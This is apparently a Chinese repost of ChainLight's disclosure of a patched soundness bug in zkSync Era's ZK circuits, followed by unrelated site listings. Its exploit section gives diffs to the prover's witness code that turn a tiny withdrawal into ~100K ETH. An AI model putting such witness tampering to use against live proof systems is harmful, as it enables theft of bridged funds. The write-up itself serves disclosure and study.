ChainLight zkSync Era漏洞揭秘

1. 引言

在这里插入图片描述
ChainLight研究人员于2023年9月15日，发现了zkSync Era主网的ZK电路的一个soundness bug，并于2023年9月17日，向Matter Labs团队报告了该问题。Matter Labs团队修复了该问题，并奖励了ChainLight团队5万USDC——为首个zkSync Era的bug bounty。

ChainLight以审计闻名，但其也开发ZK赋能的trustless historical Ethereum state access协议——Relic Protocol。其ZK电路也是基于Matter Labs的电路库的，之前遇到过使用LinearCombination而未约束的类似问题，因此在review zkSync Era电路时，首先关注的是这种类型的bug。

相应的POC原型代码见：

  • https://github.com/chainlight-io/zksync-era-write-query-poc/tree/main（Solidity）

zkSync Era主网的ZK电路的这个soundness bug：

  • 使得某恶意prover可为无效执行的区块生成“proofs”，且L1上的verifier合约将接受该proof。

当前rollup仍处于早期不成熟阶段，除依赖于fraud proof或validity proof之外，还会额外引入一些training wheels（通常为多签），确保当有异常情况或bug出现时，可人为介入保证用户资金安全。

更多audit信息可参看：

  • zkSync Era audit details

2. EraVM

zkSync Era为Matter Labs团队开发的type-4 zkEVM，以下简称为EraVM。
在这里插入图片描述
EraVM：

  • EraVM为基于寄存器的，而EVM是基于stack的。某些情况下，EraVM仍然使用stack当做临时存储，如当其run out of registers时，但大多数opcodes将以寄存器作为运算对象。
  • EraVM有2个heap：heap和aux heap，可用作临时内存，并在合约间传输数据。为模拟EVM的calldata和returndata语义，EraVM会明确跟踪每个256-bit value是否为指向另一heap的指针，将指针称为“fat pointer”，并对fat pointers如何在合约间传输做了强化规则。
  • 合约内调用没有value。因此其无法直接转账ETH.

为尽可能与EVM语义匹配，EraVM使用了一组运行在“kernel mode”下的“system contracts”，并有权指向特权指令。如，由于calls无法原生转账ETH，ETH balance跟踪和转账由名为L2EthToken的系统合约处理。为在做call时同时转账ETH，需调用MsgValueSimulator系统合约——其具有内核特权来执行ETH转账，然后执行a “mimic” call，给调用者的体验与直接call是一样的。

zkSync Era软件栈中使用了多个EraVM实现：

  • zk_evm repo：为供sequencer和其它节点使用的out-of-circuit实现。prover也会使用该实现了创建详细的execution trace——用作电路的“witness” data。
  • sync_vm repo：为ZK-circuit实现，用于生成实际待证明和在以太坊上待验证的约束。

2.1 EraVM zk-Circuits

EraVM电路非常复杂，为整个网络背后的核心技术。由于其复杂性，本文仅介绍与所发现的soundness bug相关的少量电路，更多EraVM电路知识可参看文档：

  • https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md

由于任意zk-Circuit生成固定数量的约束，任意计算量的证明 需要 使用递归电路，以验证其它电路的proofs。此外，会根据责任拆分成多个电路，以约束计算的不同部分。最终，所有proofs聚合为单个proof，在以太坊上verifier合约中验证。

整个zkSync EraVM电路架构图如下：【源自https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md】
在这里插入图片描述
本文重点关注其中的2种电路：

  • 1）Main VM：约束所执行的一系列指令、基础指令（如arithmetics指令）的输入输出，并生成部分约束的结果队列——供其它电路后续进一步约束。
  • 2）RAM Permutation：验证Main VM电路生成的"memory queue（一组内存操作）"是self-consistent的。

2.2 Memory queue

基于Main VM电路和RAM Permutation电路，所发现的soundness bug与内存操作相关。

首先了解下内存的读写是如何被约束的。

由于内存可被其它电路做写入操作，如de-commitment和Keccak哈希，Main VM电路无法自己来约束内存的读操作。相反，任何时间，其都可以从内存读写数据，并将相应的操作附加到memory queue中。

该memory queue会对一系列MemoryQuery对象进行commit，以确定如下4件事情：

  • 1）（相对于其它指令），该访问发生于何时？
  • 2）访问了哪个内存位置？
  • 3）该访问是读还是写？
  • 4）读写的内容？
pub struct MemoryQuery<E: Engine> {
  pub timestamp: UInt32<E>,
  pub memory_page: UInt32<E>,
  pub memory_index: UInt32<E>,
  pub rw_flag: Boolean,
  pub value: UInt256<E>,
  pub value_is_ptr: Boolean,
}

使用Memory Queue，通过约束 source register value置于某（具有目标内存位置的）“write” MemoryQuery中 并附加到该Memory queue中，Main VM电路可处理“store”（内存写）指令。

Main VM电路处理内存读指令将更加复杂，因为Main VM电路自己并不知道特定地址所存在的值（因其它电路也可修改内存）。因此，为处理内存读指令，Main VM电路需加载a witness value到该寄存器中，并附加到Memory Queue中一个（具有该claimed value的）“read” MemoryQuery对象。

当所有内存操作由各种电路commit之后，RAM Permutation电路会检查这些内存操作的一致性。RAM Permutation电路以2个memory queues为输入：

  • 1）源自Main VM电路（和其它内存访问电路）的committed queue。
  • 2）根据(memory_page, memory_index, timestamp) 排序后的、约束为包含相同MemoryQuery对象集合的witness “sorted” queue。

通过对这些内存访问做如上排序，RAM Permutation电路可仅遍历该memory queue一次，并比较相邻元素，来检查内存一致性。相应的伪代码为：

if (prev.memory_page, prev.memory_index) == (cur.memory_page, cur.memory_index) {
  // if cur accesses the same location as the previous, it must either be a write
  // OR have the same value as the previous access
  assert!(cur.rw_flag || cur.value == prev.value);
} else {
  // if cur accesses a new location, it must either be a write OR read the zero value
  assert!(cur.rw_flag || cur.value == 0);
}

当然，生成这些约束的实际代码是nontrivial的。如，可使用permutation argument来检查committed和sorted queues包含的是相同的元素。

3. bug细节

至此，已对本bug细节提供了足够背景。与很多其它bug类似，魔鬼在实际代码实现细节中。

第一个重要实现细节在于：

  • 上面的MemoryQuery结构体实际上是简化版的实际queue包含的内容，实际实现为RawMemoryQuery形式：
    pub struct RawMemoryQuery<E: Engine> {
  pub timestamp: UInt32<E>,
  pub memory_page: UInt32<E>,
  pub memory_index: UInt32<E>,
  pub rw_flag: Boolean,
  pub value_residual: UInt64<E>,
  pub value: Num<E>, //`MemoryQuery`结构体中该字段为UInt256<E>
  pub value_is_ptr: Boolean,
}
    主要不同之处在于：
    • 之前的MemoryQuery结构体中value字段为UInt256<E>类型，而RawMemoryQuery中将其切分为2个字段——UInt64<E>类型和Num<E>类型。这种切分转换的原因在于，电路中所使用的曲线为BN254，其单个域元素仅可 可靠地存储253个bits。
      事实上，UInt256<E>类型内部存储为4个UInt64<E>类型的值——每个在其自己的Num<E>类型中。
      在RawMemoryQuery结构体中，value字段存储的是该值的低192 bits，而value_residual字段存储的为高64字段。出于效率原因，RawMemoryQuery结构体在附加到memory queue之前，最终会编码为2个UInt64<E>类型的值：
    impl<E: Engine> RawMemoryQuery<E> {
  pub fn pack<CS: ConstraintSystem<E>>(
    &self,
    cs: &mut CS,
  ) -> Result<[Num<E>; 2], SynthesisError> {
    let shifts = compute_shifts::<E::Fr>();
    let el0 = self.value;
    let mut shift = 0;
    let mut lc = LinearCombination::zero();
    		
    lc.add_assign_number_with_coeff(&self.value_residual.inner, shifts[shift]);
    shift += 64;
    		
    // NOTE: we pack is as it would be compatible with PackedMemoryQuery later on
    lc.add_assign_number_with_coeff(&self.memory_index.inner, shifts[shift]);
    shift += 32;
    lc.add_assign_number_with_coeff(&self.memory_page.inner, shifts[shift]);
    shift += 32;
    		
    // ------------
    lc.add_assign_number_with_coeff(&self.timestamp.inner, shifts[shift]);
    shift += 32;
    lc.add_assign_boolean_with_coeff(&self.rw_flag, shifts[shift]);
    shift += 1;
    lc.add_assign_boolean_with_coeff(&self.value_is_ptr, shifts[shift]);
    shift += 1;
    		
    assert!(shift <= E::Fr::CAPACITY as usize);
    	
    let el1 = lc.into_num(cs)?;
    // dbg!(el0.get_value());
    // dbg!(el1.get_value());
    		
    Ok([el0, el1])   	
  }
}

以上代码中：

  • cs：表示约束系统，其贯穿在整个电路代码中，用于累加约束。通常，仅当函数以cs为参数时，其才可以生成约束。
  • pack：返回[el0, el1]。其中el0源自self.value，el1为将剩余的元素pack到单个Num<E>中。
  • compute_shifts::<E::Fr>()：对于 0 <= i <= 253，计算 (1 << i) 作为常量域元素。该函数不会生成任何电路约束。
  • el1：通过使用LinearCombination来构建，其格式为 a_0 v_0 + a_1 v_1 + … + a_n v_n，其中a_i 为常量域元素，v_i为电路变量。这些shifts用于将RawMemoryQuery字段pack到不重叠的253-bit value区域中。该linear combination的结构存储在lc.into_num(cs)变量中。

以上代码将RawMemoryQuery pack为2个域元素，看起来是sound的，接下来看RawMemoryQuery是如何构建的。当处理内存写指令时，其构建MemoryWriteQuery 然后将其转换为 RawMemoryQuery：

let MemoryLocation { page, index } = mem_loc;

let memory_key = MemoryKey {
 timestamp: mem_timestamp_write,
 memory_page: page,
 memory_index: index,
};

let write_query = MemoryWriteQuery::from_key_and_value_witness(cs, memory_key, value)?;

...

let raw_query = write_query.into_raw_query(cs)?;

...

MemoryWriteQuery的工作原理呢？在以上代码中，value为Register<E>类型，其将256-bit value存储为2个UInt128<E>：

pub struct Register<E: Engine> {
  pub inner: [UInt128<E>; 2],
  pub is_ptr: Boolean,
}

当构建MemoryWriteQuery时，该寄存器值使用另一个LinearCombination进一步切分为3个值 (lowest_128, u64_word_2, u64_word_3)：

pub(crate) fn from_key_and_value_witness<CS: ConstraintSystem<E>>(
  cs: &mut CS,
  key: MemoryKey<E>,
  register_output: Register<E>,
) -> Result<Self, SynthesisError> {

  let [lowest_128, highest_128] = register_output.inner;

  let tmp = highest_128
    .get_value()
    .map(|el| (el as u64, (el >> 64) as u64));
   
  let (u64_word_2, u64_word_3) = match tmp {
    Some((a, b)) => (Some(a), Some(b)),
    _ => (None, None),
  };

  let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;
  let u64_word_3 = UInt64::allocate(cs, u64_word_3)?;
  let shifts = compute_shifts::<E::Fr>();
  let mut minus_one = E::Fr::one();
   
  minus_one.negate();
  
  let mut lc = LinearCombination::zero();

  lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
  lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
  lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);
  
  let MemoryKey {
    timestamp,
    memory_page,
    memory_index,
  } = key;

  let new = Self {
    timestamp,
    memory_page,
    memory_index,
    lowest_128,
    u64_word_2,
    u64_word_3,
    value_is_ptr: register_output.is_ptr,
  };
  Ok(new)
}

MemoryWriteQuery::into_raw_query会将u64_word_3存储在value_residual中，同时将lowest_128和u64_word_2 pack到value字段中：

pub(crate) fn into_raw_query<CS: ConstraintSystem<E>>(
  &self,
  cs: &mut CS,
) -> Result<RawMemoryQuery<E>, SynthesisError> {
  let shifts = compute_shifts::<E::Fr>();
  let mut lc = LinearCombination::zero();
  
  lc.add_assign_number_with_coeff(&self.lowest_128.inner, shifts[0]);
  lc.add_assign_number_with_coeff(&self.u64_word_2.inner, shifts[128]);
  
  let value = lc.into_num(cs)?;
  
  let new = RawMemoryQuery {
    timestamp: self.timestamp,
    memory_page: self.memory_page,
    memory_index: self.memory_index,
    rw_flag: Boolean::constant(true)
    value_residual: self.u64_word_3,
    value,
    value_is_ptr: self.value_is_ptr,
  };
  
  Ok(new)
}

因此，bug在哪呢？
非常细微，但注意约束仅可由 以cs为参数的函数生成。再看from_key_and_value_witness代码：

let mut lc = LinearCombination::zero();

lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);

不同于其它使用LinearCombination的代码，该代码实际永远不会通过lc生成任何约束。基于这些系数，其意图是约束该lc值为0，但为生成这样的约束，必须：

  • 要么调用lc.enforce_zero(cs)
  • 要么调用lc.into_num(cs)，然后进一步约束其结果值。

因此，生成的MemoryWriteQuery结果中的高128位是未约束的。这意味着恶意prover可在这些bits中放置任意值，且verifier将接受该proof是有效的。在正确约束的电路中，这些bits应约束为准确等于源自Register<E>的bits。

4. bug利用细节

该bug使得prover可任意修改（通过store指令）存储在内存中的任意值的高128位，而不改变该proof的有效性。虽然这可能会以无数方式被滥用，但一个特别容易的目标是L2EthToken系统合约。
以下代码为从zkSync Era中取回solidity：

/// @notice Initiate the ETH withdrawal, funds will be available to claim on L1 `finalizeEthWithdrawal` method.
/// @param _l1Receiver The address on L1 to receive the funds.
function withdraw(address _l1Receiver) external payable override {
  uint256 amount = _burnMsgValue();

  // Send the L2 log, a user could use it as proof of the withdrawal
  bytes memory message = _getL1WithdrawMessage(_l1Receiver, amount);
  L1_MESSENGER_CONTRACT.sendToL1(message);

  emit Withdrawal(msg.sender, _l1Receiver, amount);
}

/// @dev Get the message to be sent to L1 to initiate a withdrawal.
function _getL1WithdrawMessage(address _to, uint256 _amount) internal pure returns (bytes memory) {
  return abi.encodePacked(IMailbox.finalizeEthWithdrawal.selector, _to, _amount);
}

该方法在发送L2->L1证明该取款操作之前，会burn msg.value数量的ETH。此处的目的是在L2中burn少量的ETH，而创建的取款消息中具有大得多的_amount字段。注意，_getL1WithdrawMessage helper函数将取款消息编码为内存字节数组。该函数编译为如下EraVM汇编代码：

...

add @CPI0_20[0], r0, r2 // load the function selector into `r2`
ld.1    64, r1          // load the current free memory pointer into `r1`
add 32, r1, r3
st.1    r3, r2          // store function selector into memory at `r1+32`
shl.s   96, r4, r2
add 36, r1, r3
st.1    r3, r2          // store `_to` parameter into memory at `r1+36`
add 56, r1, r2
st.1    r2, r5          // store `_amount` parameter into memory at `r1+56`
add 56, r0, r2
st.1    r1, r2          // store `56` into memory at `r1` (length field)

...

每个st.1指令存储了一个寄存器值到heap中指定的偏移位置。而这些指令支持存储到地址的非对齐方式，其不要求是32的倍数，EraVM将未对齐的stores转换为2个对齐的MemoryWriteQuery。因此，但存储_amount参数时，会创建2个aligned write queries：

{
  memory_page: CUR_HEAP_PAGE,
  memory_index: (r1 + 56) // 32,
  value: (uint256(_to) << 64) | (_amount >> 192)
},
{
  memory_page: CUR_HEAP_PAGE,
  memory_index: (r1 + 56) // 32 + 1,
  value: (_amount << 64)
}

此处的目的是改变以上第二个write query的值，以增加取款消息中所认证的ether数量。为此，在每个EraVM实现中修改负责处理write queries的代码。相应的修改逻辑为：

  • 1）检查待写入的_amount值是否匹配某些magic值，如0x1371337137 或 ~.00002 ETH。
  • 2）若匹配，则修改（misaligned write）高128bit值，使得_amount为某huge value，如0x152d0000133713371337 或 ~100K ETH。

相应的zk_evm repo修改为：

diff --git a/src/opcodes/execution/uma.rs b/src/opcodes/execution/uma.rs
index 276c02b..7d2f0d5 100644

- -- a/src/opcodes/execution/uma.rs
+++ b/src/opcodes/execution/uma.rs
@@ -371,6 +371,14 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> {
  (word_0_read_value >> (word_0_lowest_bytes * 8)) << (word_0_lowest_bytes * 8);
  // add highest bytes into lowest for overwriting
  new_word_0_value = new_word_0_value | (src1 >> (unalignment * 8));
+
+                // see if we're writing 0x1337133713370000000000000000
+                if new_word_0_value.0[1] == 0x133713371337 {
+                    // if so, instead write 0x152d00001337133713370000000000000000
+                    new_word_0_value.0[2] = 0x152d;
+                }
+
  // we need low bytes of old word and place low bytes of src1 into highest
  // cleanup highest bytes
  let mut new_word_1_value =

相应的sync_vm repo修改为：

diff --git a/src/vm/vm_cycle/memory_view/write_query.rs b/src/vm/vm_cycle/memory_view/write_query.rs
index cbb4172..0b09ecd 100644

- -- a/src/vm/vm_cycle/memory_view/write_query.rs
+++ b/src/vm/vm_cycle/memory_view/write_query.rs
@@ -60,6 +60,11 @@ impl<E: Engine> MemoryWriteQuery<E> {
  _ => (None, None),
};
+        let u64_word_2 = if let Some(0x1337133713370000000000000000_u128) = lowest_128.get_value() {
+            Some(0x152d)
+        } else {
+            u64_word_2
+        };
// we do not need to range check everything, only N-1 ut of N elements in LC
let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;

需注意，仅需修改分配给变量的witness值，而并不修改电路所生成的约束。

通过在后端完成以上修改之后，sequencer/prover现在可处理具有magic value 0x133713371337 wei (~.00002 ETH) 的区块，并输出proven batch——其可证实接收方取款额为0x152d0000133713371337 wei (~100K ETH)。zkSync Era合约将接受该proof，然后攻击者可取光其bridge中的100K个ETH。

5. bug影响分析

考虑到当前的安全层，该bug很难由Matter Labs之外的人利用。对于外部人员来说，可能的攻击场景为：

  • 1）通过注入恶意代码或盗取zkSync Era validator私钥，使zkSync Era后端compromise。
  • 2）执行如上“bug利用细节”流程。
  • 3）等待21小时的execution delay，并期望在取走盗用资金之前，Matter Labs团队未冻结该协议。

由此可知，以上21小时的execution delay，使得实际利用该bug非常难。但是，随着未来去中心化的推进，这样的攻击成功概率将增加，因为到时没有admin团队来直接管理该协议。

因此，让ZK-circuits安全来赋能L2，是以太坊长期扩容里程碑的关键部分。

参考资料

[1] 2023年11月ChainLight博客 Patch Thursday — Uncovering a ZK-EVM Soundness Bug in zkSync Era

zkSync系列博客

  • zkSync 概览
  • zkSync 基本原理
  • zkSync 代码解析
  • zkSync的ZK Stack：Hyperchains和Hyperbridges
  • Boojum：zkSync的高性能去中心化STARK证明系统

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/171372.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

51单片机/STM32F103/STM32F407学习1_点亮LED灯

51单片机/STM32F103/STM32F407学习1_点亮LED灯

目录&#xff1a; 基础知识单片机从0实现单片机GPIO介绍 参考连接&#xff1a; 野火霸天虎教程 https://doc.embedfire.com/products/link/zh/latest/mcu/stm32/ebf_stm32f407_batianhu_v1_v2/download/stm32f407_batianhu_v1_v2.html x.1 基础知识 x.1.1 指针中的取地址&a…
阅读更多...
Java 异常处理、继承、重写/重载

Java 异常处理、继承、重写/重载

一、java异常处理&#xff1a; 三种类型的异常&#xff1a;检查性异常、运行时异常、错误。 所有的异常类是从java.lang.Exception类继承的子类。Exception类是Throwable类的子类。除了Exception类外&#xff0c;Throwable还有一个子类Error。 异常类有两个主要的子类&#…
阅读更多...
Linux | 从虚拟地址到物理地址

Linux | 从虚拟地址到物理地址

前言 本章主要讲解虚拟地址是怎么转化成物理地址的&#xff0c;以及页表相关知识&#xff1b;本文环境默认为32位机器下&#xff1b;如果你连什么是虚拟地址都不知道可以先看看下面这篇文章&#xff1b; Linux | 进程地址空间-CSDN博客 一、概念补充 页表&#xff1a;是一种数据…
阅读更多...
Appium移动自动化测试—如何安装Appium

Appium移动自动化测试—如何安装Appium

前言 Appium 自动化测试是很早之前就想学习和研究的技术了&#xff0c;可是一直抽不出一块完整的时间来做这件事儿。现在终于有了。 反观各种互联网的招聘移动测试成了主流&#xff0c;如果再不去学习移动自动化测试技术将会被淘汰。 web自动化测试的路线是这样的&#xff1…
阅读更多...
如何利用 AI 写一本书并实现被动收入

如何利用 AI 写一本书并实现被动收入

如何每个月写一本能赚 5000 美元的书&#xff1f;不少人不知道如何在一周内写作和出版一本书 这里有个教程教你如何利用 AI 写一本书并实现被动收入 [收藏起来以备后用] 推出书友智能写作工具&#xff1a;Bookwiz 不用花几年时间独自写作一本小说&#xff0c;人工智能可以作…
阅读更多...
【MATLAB源码-第84期】基于matlab的802.11a标准的OFDM系统误码仿真对比QPSK,16QAM。

【MATLAB源码-第84期】基于matlab的802.11a标准的OFDM系统误码仿真对比QPSK,16QAM。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 基于802.11a标准的OFDM&#xff08;正交频分复用&#xff09;系统是一种高效的无线通信技术&#xff0c;特点如下&#xff1a; 频带与信道&#xff1a; 802.11a工作在5 GHz频段&#xff0c;这个频段相对于2.4 GHz&#xff08…
阅读更多...
Playcanvas后处理-辉光bloom

Playcanvas后处理-辉光bloom

&#xff08;一&#xff09;Bloom介绍 Bloom&#xff08;辉光、光晕、泛光&#xff09;是一种常见的摄像机后处理&#xff08;PostProcessing&#xff09;效果&#xff0c;用于再现真实世界相机的成像伪影。这种效果会产生从图像中明亮区域边界延伸的光条纹&#xff08;或羽毛…
阅读更多...
MyBatis框架——Mybatis操作数据库之简单的insert操作的实现

MyBatis框架——Mybatis操作数据库之简单的insert操作的实现

入门_MyBatis中文网https://mybatis.net.cn/getting-started.html一些配置文件的模板可以从mybatis的官网中找到。 一、MyBatis操作数据库步骤 1、读取MyBatis配置文件mybatis-config.xml。 mybatis-config.xml作为mybatis的全局配置文件&#xff0c;配置MyBatis的运行环境等…
阅读更多...
「C++」AVL树的实现（动图）

「C++」AVL树的实现（动图）

&#x1f4bb;文章目录 AVL树概念AVL的查找AVL树的插入 代码部分AVL树的定义查找插入旋转 &#x1f4d3;总结 AVL树 概念 AVL树又名高度平衡的二叉搜索树&#xff0c;由G. M. Adelson-Velsky和E. M. Landis发明&#xff0c;顾名思义&#xff0c;其任意节点的左右子树最大高度…
阅读更多...
模方4.1.0新版本正式上线啦！

模方4.1.0新版本正式上线啦！

新增单体化自动建模&#xff0c;直角搭桥、复制三角形两种方式补洞等功能&#xff0c;还有更多功能优化&#xff0c;让你的三维模型更好看&#xff01; 欢迎前往官网下载试用→武汉大势智慧-实景三维-云端建模-新型基础设施
阅读更多...
2023年中国数字员工行业发展趋势分析：行业市场规模迅猛增长[图]

2023年中国数字员工行业发展趋势分析：行业市场规模迅猛增长[图]

数字员工是指利用人工智能、自然语言处理、机器学习等技术&#xff0c;通过数字渠道提供自动化或半自动化的客户服务形式。数字人系统通过音频和视频结构化解析技术处理用户输入&#xff0c;并使用自然语言处理和机器学习等技术分析用户意图&#xff0c;生成相应的对话内容&…
阅读更多...
串口工作流程硬核解析,没有比这更简单的了!

串口工作流程硬核解析,没有比这更简单的了!

串口通信,就是我们常说的串口通讯,是一种短距离、点对点的数据传输方式。它基于串行通信协议,通过串口线连接设备进行数据交互。串口在很多硬件系统中广泛使用,是工控机、单片机、外设设备之间信息交换的重要接口。 那串口是怎么工作的呢?我们举个形象的例子。假设A和B是两台…
阅读更多...
算法——双指针

算法——双指针

一、背景知识 双指针&#xff08;Two Pointers&#xff09;&#xff1a;指的是在遍历元素的过程中&#xff0c;不是使用单个指针进行访问&#xff0c;而是使用两个指针进行访问&#xff0c;从而达到相应的目的。对撞时针&#xff1a; 两个指针方向相反对撞指针一般用来解决有序…
阅读更多...
盘点35个Python书籍Python爱好者不容错过

盘点35个Python书籍Python爱好者不容错过

盘点35个Python书籍Python爱好者不容错过 学习知识费力气&#xff0c;收集整理更不易。 知识付费甚欢喜&#xff0c;为咱码农谋福利。 链接&#xff1a;https://pan.baidu.com/s/1uf-MXZc9aC7y3Qju6VnCYw?pwd8888 提取码&#xff1a;8888 书籍名称&#xff1a; Django教…
阅读更多...
效率提升利器：Automa插件的实用指南

效率提升利器：Automa插件的实用指南

Automa是一个chrome扩展&#xff0c;通过拖拽0代码实现工作流&#xff0c;模拟网页的各种点击、表单填写等操作&#xff0c;使用时点击插件脚本一键执行&#xff0c;或者设置定时执行&#xff0c;从而简化我们的工作。 功能介绍 官方文档地址&#xff1a;Getting started | Au…
阅读更多...
Altium Designer学习笔记2

Altium Designer学习笔记2

原理图的绘制 需要掌握的是系统自带原理图库元件的添加。
阅读更多...
HR问：有没有免费的人才测评工具？

HR问：有没有免费的人才测评工具？

人才测评工具分为两种&#xff0c;一种是测评量表&#xff0c;一种是操作量表的工具&#xff0c;在线测评的方式没有普及之前&#xff0c;很多朋友都习惯把测评量表&#xff08;测评试题&#xff09;称为测评工具&#xff0c;其实我认为量表就是量表&#xff0c;而试试量表测评…
阅读更多...
全国的科技创新情况数据分享，涵盖2020-2022年三年情况

全国的科技创新情况数据分享，涵盖2020-2022年三年情况

随着国家对科技创新的重视和大力支持&#xff0c;全国的科技创新情况越来越受到关注。 我们根据中国城市统计年鉴的这方面指标&#xff0c;分析汇总得出全国科技创新情况数据&#xff0c;需要说明的是&#xff0c;由于统计年鉴指标调整&#xff0c;每一年的数据并非字段相同&a…
阅读更多...
隐私计算迎来千亿级风口，一文讲清它的技术理论基础

隐私计算迎来千亿级风口，一文讲清它的技术理论基础

一、安全多方计算 在讨论安全多方计算(下文使用 MPC) 之前&#xff0c;我们先讨论安全多方计算的设定&#xff0c;在MPC 的所有参与者中&#xff0c;某些参与者可能会被一个敌手 (攻击者) 控制&#xff0c;在敌手控制下的参与者被称为被腐化方&#xff0c;它在协议执行过程中会…
阅读更多...
算法（圆的定义和相关术语）

算法（圆的定义和相关术语）

无向图的度 图中每一个顶点的度定义为以该项点为一个端点的边的数目 #include <cstdio>const int MAXN 100;int degree[MAXN] { 0 };int main() {int n, m, u, v;scanf("%d%d", &n, &m);//在输出边度的时候就已经表示度的数目了&#xff0c;所以用一…
阅读更多...
最新文章

Copyright @ 2022~2023